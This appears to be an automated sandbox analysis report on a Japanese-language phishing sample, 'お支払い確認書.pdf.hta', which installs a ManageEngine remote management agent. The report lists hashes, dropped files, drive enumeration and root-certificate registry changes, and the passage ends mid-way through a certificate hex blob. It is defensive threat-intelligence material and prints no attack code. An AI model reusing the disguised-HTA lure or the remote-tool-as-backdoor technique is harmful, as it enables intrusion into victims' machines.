Analysis
- user interaction
yes - max time kernel
56s - max time network
140s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-ja - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-jalocale:ja-jpos:windows11-ltsc_2024-x64systemwindows - submitted
16/09/2026, 09:24
Static task
static1
Behavioral task
behavioral1
Sample
お支払い確認書.pdf.hta
Resource
win10v2004-20260911-ja
windows10-2004-x64
28 signatures
600 seconds
General
- Target お支払い確認書.pdf.hta
- Size 156KB
- Sample260916-ldff9ahn9x
- SHA256 df86cfbd50e4efc55ef8ff22f4e69a5d328dbc2e42d8e8e71d29ba3880dbf219
- MD5 c7881a76431fd4bfc14c515646ab0120
- SHA1 40052cf2e2cfa1689bee43eb947d17d0712b41a7
- SHA512 89dcfea743bb1c1d4b529855d1b977db05fb27ce5696ea48cea6f09598490afbed1ebd9e8d5001b7b02e1ac6002e99c2b3ff4f5e07fbdd68d231808c51663994
- SSDEEP 3072:wdzj1WNQBQXqMDe3M6Vcyur9rZg7rGcgCw2hNYnrRFqcV:OjXSfDe3M6VIOGMwvrTrV
- TLSH T147F3019D2BB44CEC59B001BBE2DDBB94ED210CB7E1C2DC11951168F2DF11297B8D857A
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- DCAgent remote management tool 4 IoCs
DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor
resource yara_rule behavioral2/files/0x000d00000001c4ca-29.dat hacktool_dcagent behavioral2/files/0x000c00000001c4fa-255.dat hacktool_dcagent behavioral2/files/0x000c00000001c577-484.dat hacktool_dcagent behavioral2/files/0x000c00000001c4ea-632.dat hacktool_dcagent - Executes dropped EXE 23 IoCs
pid Process 4156 dcagentregister.exe 3460 7za.exe 1960 dcagentservice.exe 1920 7za.exe 2012 7za.exe 3732 dcstatusutil.exe 2600 dcagentservice.exe 1904 CRU_Reporter.exe 4272 dcusbsummary.exe 1264 dcconfig.exe 1252 dcusb64.exe 3904 dcstatusutil.exe 2180 dcondemand.exe 2656 dcswmeter.exe 5688 dcagentregister.exe 4432 dcinventory.exe 4192 dcconfig.exe 712 dcconfig.exe 1692 UEMSAgentHealthChecker.exe 4488 UEMSAgentHCHelper.exe 4252 UEMSAgentHCHelper.exe 5980 UEMSAgentHCHelper.exe 5784 dcinventory.exe - Loads dropped DLL 64 IoCs
pid Process 6016 MsiExec.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 1960 dcagentservice.exe 4156 dcagentregister.exe 4156 dcagentregister.exe 3732 dcstatusutil.exe 3732 dcstatusutil.exe 3732 dcstatusutil.exe 3732 dcstatusutil.exe 3732 dcstatusutil.exe 3732 dcstatusutil.exe 3732 dcstatusutil.exe 3732 dcstatusutil.exe 3732 dcstatusutil.exe 2600 dcagentservice.exe 4272 dcusbsummary.exe 1264 dcconfig.exe 1264 dcconfig.exe 1264 dcconfig.exe 1264 dcconfig.exe 1264 dcconfig.exe 3904 dcstatusutil.exe 2180 dcondemand.exe 3904 dcstatusutil.exe 3904 dcstatusutil.exe 2656 dcswmeter.exe 2180 dcondemand.exe 3904 dcstatusutil.exe 3904 dcstatusutil.exe 5688 dcagentregister.exe 5688 dcagentregister.exe 2180 dcondemand.exe 3904 dcstatusutil.exe 5688 dcagentregister.exe 2180 dcondemand.exe 4432 dcinventory.exe 5688 dcagentregister.exe 5688 dcagentregister.exe 4432 dcinventory.exe 4432 dcinventory.exe - Modifies file permissions 1 TTPs 5 IoCs
pid Process 620 icacls.exe 2180 icacls.exe 3108 icacls.exe 4396 icacls.exe 6104 icacls.exe - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 8 5768 msiexec.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe - Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\SysWOW64\dclibxml2.dll msiexec.exe File created C:\Windows\SysWOW64\dcagentlibxml2.dll msiexec.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_rejected.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7z.exe msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcsecureboot.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentservice.log dcagentservice.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcondemandhangaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcondemandhangaccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\ds-server-infoV2.xml5116.tmp dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\InvHardwareReadiness.log dcinventory.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\ec_icon.ico msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcutilhelper.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\file_system_watcher.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\usbconfig_user.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log dcstatusutil.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Archiving_logs-animation.gif msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_ko_KR.properties 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_pt_BR.properties 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\SomAgentAccess.log dcstatusutil.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\EC_LogAnalyzer.ps1 msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\~test_240760265.tmp dcstatusutil.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcpatchdeploymenterror.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\usbconfig_computer.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcPrivateKeys.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log dcinventory.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-rds.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\x-icon.gif msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\WakeOnLan.exe.config 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\vmdrUtils.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log dcstatusutil.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcipscope.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Apps.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\style_hot.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log dcagentservice.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\usbconfig_agentservice.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devaction_user.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-mc.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Warning_icon.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\Tools.vbs msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devicepatchaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\usbconfig_user.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\locale_resources.zip 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\rapmsghandler.ico msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\info.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\SomAgentAccess.log dcagentregister.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\cold_normal_msghldr.gif 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dpinst86.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcdmsclientaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcPrivateKeys.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\sbomConfig.json msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcusbsummary.log dcusbsummary.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcdriver.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\~test_240767625.tmp dcagentregister.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dc_msp_image.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DevExe64.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\global_data_store_x64.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\rapchat.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\TroubleshootingTool.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dpinst64.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\usbeDevicelist.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\rdsrunasuser.exe.config 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\dc_rds.exe msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProcessMonitor.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuploadlogs.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_pt_PT.properties 7za.exe - Drops file in Windows directory 23 IoCs
description ioc Process File created C:\Windows\Installer\e594368.msi msiexec.exe File opened for modification C:\Windows\Installer\e594369.mst msiexec.exe File opened for modification C:\Windows\Installer\MSI5144.tmp msiexec.exe File created C:\Windows\Installer\e594371.msi msiexec.exe File created C:\Windows\Tasks\DCAgentUpdater.job dcagentregister.exe File opened for modification C:\Windows\Tasks\UEMSLogCollector.job dcagentregister.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\e594369.mst msiexec.exe File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\DCAgentServerInfo.json dcagentregister.exe File opened for modification C:\Windows\Installer\MSIB28F.tmp msiexec.exe File created C:\Windows\SystemTemp\~DFAFBF74C77AC2F332.TMP msiexec.exe File created C:\Windows\SystemTemp\~DFD7B6F0A4AE01D3D2.TMP msiexec.exe File created C:\Windows\Tasks\UEMSLogCollector.job dcagentregister.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DFD0F1B8B212681139.TMP msiexec.exe File created C:\Windows\Installer\SourceHash{6AD2231F-FF48-4D59-AC26-405AFAE23DB7} msiexec.exe File created C:\Windows\SystemTemp\~DF7E19AE4251976661.TMP msiexec.exe File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst msiexec.exe File opened for modification C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst msiexec.exe File opened for modification C:\Windows\Installer\e594368.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI4B57.tmp msiexec.exe File opened for modification C:\Windows\Tasks\DCAgentUpdater.job dcagentregister.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3652 cmd.exe 5608 cmd.exe 4676 cmd.exe 3108 cmd.exe - Modifies trusted root certificate store through registry 1 TTPs 10 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0D92AFF4C6FB3C599FA32CB978DD498ABA7443D2\Blob = 0f00000001000000200000006af0dafab12bdc60f37db34f6af3cbe95526337fc02e692179516b0e34771c760300000001000000140000000d92aff4c6fb3c599fa32cb978dd498aba7443d22000000001000000d8030000308203d4308202bca00302010202083239d5ba30167e99300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930313036333232375a180f32303531303930313036333232375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b71a8951641c7ad67f6a2d386080a60349725a3247f1822f0080d765770bfb07c1ded3a4b0042cc88adbfcf6890e0648c22e5bd905d2335d06b31935de204048ec334c831004bfce0bed199661970e464e902e1304afaa9229319638d1de34dbaba72db38925bf0007e114df59469a73162d3fe82bd3df5429f0ed47d377cd0a43038154e7bbfe4513cd2690c99294f33bf0e1f355b892caaea039ea6c30a7047ca40af330af5807b536c255e89397a5965cef155df4b0e242eee74d17563b8d54bbd844283a463df6a46560c7cb022f30856eb0d4ef712e0ec8e0759a57055f4b2e715062761f131411a677d9f58335d298720b0fb0094b5b9223b89a28c2f70203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84301f0603551d2304183016801467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010072a4f3381ef268f02fc68b19aa335ebfaac9fda28e31009944629a704e4f66b840c3d2869e469c9b94a2399f80a43fb4a8078793d96f1462666cf720a623de9145528094887e86299677fabc9b2929ae893dfc31c2479056f663864bb7a5939d1b093870d97349fd2da12d0df6dbb6d1f41a46b599cbf3a694f5867141e6e5261d637f21eca8c8caf5357e4ccc123b602c00716ffaeab322f501b0091d6dba3c6c0457fd299f8317d45e3023244a3660184347dfb432f0f29f8657ff514ef0e00973b8e4d58c5853908c0f0537e7844b44fb37271f1233b37653c79f48afe19df6871e67fc475d23c65b01cea324935f31fa9910f4b65fb20475d64433f8c455 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F28618438628218770F398532E2B5CF9C0EE74F2\Blob = 140000000100000014000000c914c8412bdba7bf8facd19f3721bf0f3e14ad53030000000100000014000000f28618438628218770f398532e2b5cf9c0ee74f20f0000000100000020000000edc7c96a0452ef560b0e8b820fa2af702038af1a366a27727ababbdffb9b73352000000001000000f0030000308203ec308202d4a003020102020879a049f75ad52cad300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303930313036333232385a180f32303531303930313036333232385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a028201010097dc6778010d7529e035a1737fe24ba10c4ffa4fe14af3d2eb4c13fda3a3e15552b16ad5c56166dffde448965746968ffb5bc97d16f0bb82ae6100de69337f8fa1e2b30a815cb541a0d755dafcf79fae59b3b1ca64aec627b0057dee6963512c5df4573b5ab5d6885757e80e8877318e1e5a037f33c3199b975bd67495e42478368e144b939d8d2dd60f4f7d8123eeeaeefae5ae386de576f2ac69a263a7c26ddd6cf6f8f254e0434d3b9653771df3855833912aa2c68fbef406f0f054dbe81de3b7aee11b143df3f1a7f82c0e979c48565d148edeabfccd04fffc144d48d88c314c3bb7efec6d06a9bc85905e36b7b67dbd6ff10d0930227ed1f5e68b109c490203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c914c8412bdba7bf8facd19f3721bf0f3e14ad53301f0603551d23041830168014c914c8412bdba7bf8facd19f3721bf0f3e14ad53300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100482d21c21ad129589c39c0710183c28e403e0b31354d100046957c089719c3e59455a49509868abe01b65c2c6e9889487e88479e8197285abccada4f18ab4c4422d4f99af0f95253055fdccc5366af21b8bc77de841b3e8c646b9e204215d02bb059f298c72b46b4490ed7469c61c7577cc1ee3cecf54231a56a10231f138ebbb0f421f38c5f1b9101c8c3fa9bfd13a340b28d030b39277a499ce034d82aa161768b242532b9530ed6830c2d0049f591a576b2c0e5bd0512bb04313a6b4f6c350bad06319012c64277d3f3e7093d941c407a7db5a956ac0b11f1fad4710c9e061f360d9e263ac439d4ce0d53b195d035865921ce0572f7aec00e12ccef99d882 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0D92AFF4C6FB3C599FA32CB978DD498ABA7443D2\Blob = 14000000010000001400000067291eb8f0b6f9e21fc2ab93b961b8d8163e2a840300000001000000140000000d92aff4c6fb3c599fa32cb978dd498aba7443d20f00000001000000200000006af0dafab12bdc60f37db34f6af3cbe95526337fc02e692179516b0e34771c762000000001000000d8030000308203d4308202bca00302010202083239d5ba30167e99300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930313036333232375a180f32303531303930313036333232375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b71a8951641c7ad67f6a2d386080a60349725a3247f1822f0080d765770bfb07c1ded3a4b0042cc88adbfcf6890e0648c22e5bd905d2335d06b31935de204048ec334c831004bfce0bed199661970e464e902e1304afaa9229319638d1de34dbaba72db38925bf0007e114df59469a73162d3fe82bd3df5429f0ed47d377cd0a43038154e7bbfe4513cd2690c99294f33bf0e1f355b892caaea039ea6c30a7047ca40af330af5807b536c255e89397a5965cef155df4b0e242eee74d17563b8d54bbd844283a463df6a46560c7cb022f30856eb0d4ef712e0ec8e0759a57055f4b2e715062761f131411a677d9f58335d298720b0fb0094b5b9223b89a28c2f70203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84301f0603551d2304183016801467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010072a4f3381ef268f02fc68b19aa335ebfaac9fda28e31009944629a704e4f66b840c3d2869e469c9b94a2399f80a43fb4a8078793d96f1462666cf720a623de9145528094887e86299677fabc9b2929ae893dfc31c2479056f663864bb7a5939d1b093870d97349fd2da12d0df6dbb6d1f41a46b599cbf3a694f5867141e6e5261d637f21eca8c8caf5357e4ccc123b602c00716ffaeab322f501b0091d6dba3c6c0457fd299f8317d45e3023244a3660184347dfb432f0f29f8657ff514ef0e00973b8e4d58c5853908c0f0537e7844b44fb37271f1233b37653c79f48afe19df6871e67fc475d23c65b01cea324935f31fa9910f4b65fb20475d64433f8c455 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F28618438628218770F398532E2B5CF9C0EE74F2\Blob = 1900000001000000100000002e8f545db427dac03e11e195291e33b00f0000000100000020000000edc7c96a0452ef560b0e8b820fa2af702038af1a366a27727ababbdffb9b7335030000000100000014000000f28618438628218770f398532e2b5cf9c0ee74f2140000000100000014000000c914c8412bdba7bf8facd19f3721bf0f3e14ad532000000001000000f0030000308203ec308202d4a003020102020879a049f75ad52cad300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303930313036333232385a180f32303531303930313036333232385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a028201010097dc6778010d7529e035a1737fe24ba10c4ffa4fe14af3d2eb4c13fda3a3e15552b16ad5c56166dffde448965746968ffb5bc97d16f0bb82ae6100de69337f8fa1e2b30a815cb541a0d755dafcf79fae59b3b1ca64aec627b0057dee6963512c5df4573b5ab5d6885757e80e8877318e1e5a037f33c3199b975bd67495e42478368e144b939d8d2dd60f4f7d8123eeeaeefae5ae386de576f2ac69a263a7c26ddd6cf6f8f254e0434d3b9653771df3855833912aa2c68fbef406f0f054dbe81de3b7aee11b143df3f1a7f82c0e979c48565d148edeabfccd04fffc144d48d88c314c3bb7efec6d06a9bc85905e36b7b67dbd6ff10d0930227ed1f5e68b109c490203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c914c8412bdba7bf8facd19f3721bf0f3e14ad53301f0603551d23041830168014c914c8412bdba7bf8facd19f3721bf0f3e14ad53300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100482d21c21ad129589c39c0710183c28e403e0b31354d100046957c089719c3e59455a49509868abe01b65c2c6e9889487e88479e8197285abccada4f18ab4c4422d4f99af0f95253055fdccc5366af21b8bc77de841b3e8c646b9e204215d02bb059f298c72b46b4490ed7469c61c7577cc1ee3cecf54231a56a10231f138ebbb0f421f38c5f1b9101c8c3fa9bfd13a340b28d030b39277a499ce034d82aa161768b242532b9530ed6830c2d0049f591a576b2c0e5bd0512bb04313a6b4f6c350bad06319012c64277d3f3e7093d941c407a7db5a956ac0b11f1fad4710c9e061f360d9e263ac439d4ce0d53b195d035865921ce0572f7aec00e12ccef99d882 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0D92AFF4C6FB3C599FA32CB978DD498ABA7443D2\Blob = 6b0000000100000020000000cf639882d2a47fb516a937d0f23105dc322881c66ba86c30740dd3095f7e944414000000010000001400000067291eb8f0b6f9e21fc2ab93b961b8d8163e2a840300000001000000140000000d92aff4c6fb3c599fa32cb978dd498aba7443d20f00000001000000200000006af0dafab12bdc60f37db34f6af3cbe95526337fc02e692179516b0e34771c76190000000100000010000000b171a743f9c285ef92408477a87508885c0000000100000004000000000800002000000001000000d8030000308203d4308202bca00302010202083239d5ba30167e99300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930313036333232375a180f32303531303930313036333232375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b71a8951641c7ad67f6a2d386080a60349725a3247f1822f0080d765770bfb07c1ded3a4b0042cc88adbfcf6890e0648c22e5bd905d2335d06b31935de204048ec334c831004bfce0bed199661970e464e902e1304afaa9229319638d1de34dbaba72db38925bf0007e114df59469a73162d3fe82bd3df5429f0ed47d377cd0a43038154e7bbfe4513cd2690c99294f33bf0e1f355b892caaea039ea6c30a7047ca40af330af5807b536c255e89397a5965cef155df4b0e242eee74d17563b8d54bbd844283a463df6a46560c7cb022f30856eb0d4ef712e0ec8e0759a57055f4b2e715062761f131411a677d9f58335d298720b0fb0094b5b9223b89a28c2f70203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84301f0603551d2304183016801467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010072a4f3381ef268f02fc68b19aa335ebfaac9fda28e31009944629a704e4f66b840c3d2869e469c9b94a2399f80a43fb4a8078793d96f1462666cf720a623de9145528094887e86299677fabc9b2929ae893dfc31c2479056f663864bb7a5939d1b093870d97349fd2da12d0df6dbb6d1f41a46b599cbf3a694f5867141e6e5261d637f21eca8c8caf5357e4ccc123b602c00716ffaeab322f501b0091d6dba3c6c0457fd299f8317d45e3023244a3660184347dfb432f0f29f8657ff514ef0e00973b8e4d58c5853908c0f0537e7844b44fb37271f1233b37653c79f48afe19df6871e67fc475d23c65b01cea324935f31fa9910f4b65fb20475d64433f8c455 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0D92AFF4C6FB3C599FA32CB978DD498ABA7443D2\Blob = 5c000000010000000400000000080000190000000100000010000000b171a743f9c285ef92408477a87508880f00000001000000200000006af0dafab12bdc60f37db34f6af3cbe95526337fc02e692179516b0e34771c760300000001000000140000000d92aff4c6fb3c599fa32cb978dd498aba7443d214000000010000001400000067291eb8f0b6f9e21fc2ab93b961b8d8163e2a846b0000000100000020000000cf639882d2a47fb516a937d0f23105dc322881c66ba86c30740dd3095f7e94442000000001000000d8030000308203d4308202bca00302010202083239d5ba30167e99300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930313036333232375a180f32303531303930313036333232375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b71a8951641c7ad67f6a2d386080a60349725a3247f1822f0080d765770bfb07c1ded3a4b0042cc88adbfcf6890e0648c22e5bd905d2335d06b31935de204048ec334c831004bfce0bed199661970e464e902e1304afaa9229319638d1de34dbaba72db38925bf0007e114df59469a73162d3fe82bd3df5429f0ed47d377cd0a43038154e7bbfe4513cd2690c99294f33bf0e1f355b892caaea039ea6c30a7047ca40af330af5807b536c255e89397a5965cef155df4b0e242eee74d17563b8d54bbd844283a463df6a46560c7cb022f30856eb0d4ef712e0ec8e0759a57055f4b2e715062761f131411a677d9f58335d298720b0fb0094b5b9223b89a28c2f70203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041467291eb8f0b6f9e21fc2ab93b961b8d8163e2